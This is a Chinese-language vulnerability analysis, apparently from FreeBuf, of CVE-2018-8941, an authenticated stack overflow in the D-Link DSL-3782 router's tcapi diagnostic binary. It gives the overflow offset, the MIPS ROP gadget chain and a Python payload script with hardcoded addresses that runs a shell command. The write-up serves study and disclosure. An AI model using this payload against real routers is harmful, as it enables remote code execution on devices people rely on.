一. 漏洞概述
CVE-2018-8941 D-Link DSL-3782 代碼執(zhí)行
友訊科技股份有限公司成立于1986年,專注于電腦網(wǎng)路設(shè)備的設(shè)計開發(fā),并自創(chuàng)「D-Link」品牌,行銷全球。
此漏洞位于 D-Link DSL-3782路由器,授權(quán)用戶可以遠程代碼執(zhí)行
參考信息:https://github.com/SECFORCE/CVE-2018-8941#cve-2018-8941-d-link-dsl-3782-code-execution-proof-of-concept
漏洞固件版本:DSL-3782_A1_EU_1.01_07282016.bin
下載鏈接:
https://eu.dlink.com/cz/cs/products/dsl-3782-wireless-ac1200-dual-band-vdsl-adsl-modem-router#Technical-Specifications
漏洞存在于 “/USEFS/BI/TCAPI”二進制文件中,它被用作Web GUI中“診斷”功能的實現(xiàn)代碼,一個經(jīng)過身份驗證的用戶可以使用一個長緩沖區(qū)作為參數(shù),導(dǎo)致內(nèi)存損壞。此外,可以重定向程序的流程并執(zhí)行任意代碼。
二. 漏洞分析
2.1 控制eip
對/userfs/bin/tcapi輸入不當?shù)膮?shù)會觸發(fā)漏洞
MIPS 大端結(jié)構(gòu)

Tcapiset 命令用法如下

tcapi set會調(diào)用Libtcapi.so.1中的tcapi_set函數(shù)
其中第二個Strcpy拷貝未驗證src的長度,導(dǎo)致棧溢出

ra放在-4 ,拷貝的目標地址在- 0×258,0×258-0×4=596,
Payload=”A”*596+”BBBB”測試一下


Crash的時候,eip為42424242,位置正確,此時s1,s0,s2,s3 可以被控制

2.2 構(gòu)造rop鏈
貌似還是很友好

由于本身文件很小,可能不太好找到合適的godget,看下內(nèi)存,用了如下的lib文件

Libc里面的godget比較多,mips下的rop主要是去找到 move t9,xxx;jalrt9這樣的指令來達到控制執(zhí)行流程的目的,其中xxx是我們在溢出的時候可以控制的寄存器。此漏洞中我們可以控制s0,s1,s2,s3 寄存器。
用misprop插件在IDA 搜索godget
直接搜索從棧中讀取參數(shù)到寄存器的godget

找到如下的godget,把棧中的參數(shù)放到s5,再直接放到a0作為下一個call參數(shù),并把system的地址從s0傳到t9,一個godget搞定

現(xiàn)在只差s5 的值了,可以看到s5=sp+0×10,那么在payload中ra的后面16字節(jié)后再放我們需要system執(zhí)行的參數(shù)

我們的參數(shù)需要放到
構(gòu)造如下的payload:
#!/usr/bin/envpython import sys import struct libc =0x40868000 s0=struct.pack(">I",0x408C1BB0)#system s1=struct.pack(">I",0x41414141)#useless s2=struct.pack(">I",0x43434343)#useless s3=struct.pack(">I",0x44444444)#useless ra=struct.pack(">I",0x4087E56C)#godget1 x="A"*580+s0+s1+s2+s3+ra+"x"*16+"ls"
執(zhí)行后,
可以在截圖中看到,成功執(zhí)行了我們的遠程命令“ls“”

*本文作者:kczwa1,轉(zhuǎn)載請注明來自FreeBuf.COM
|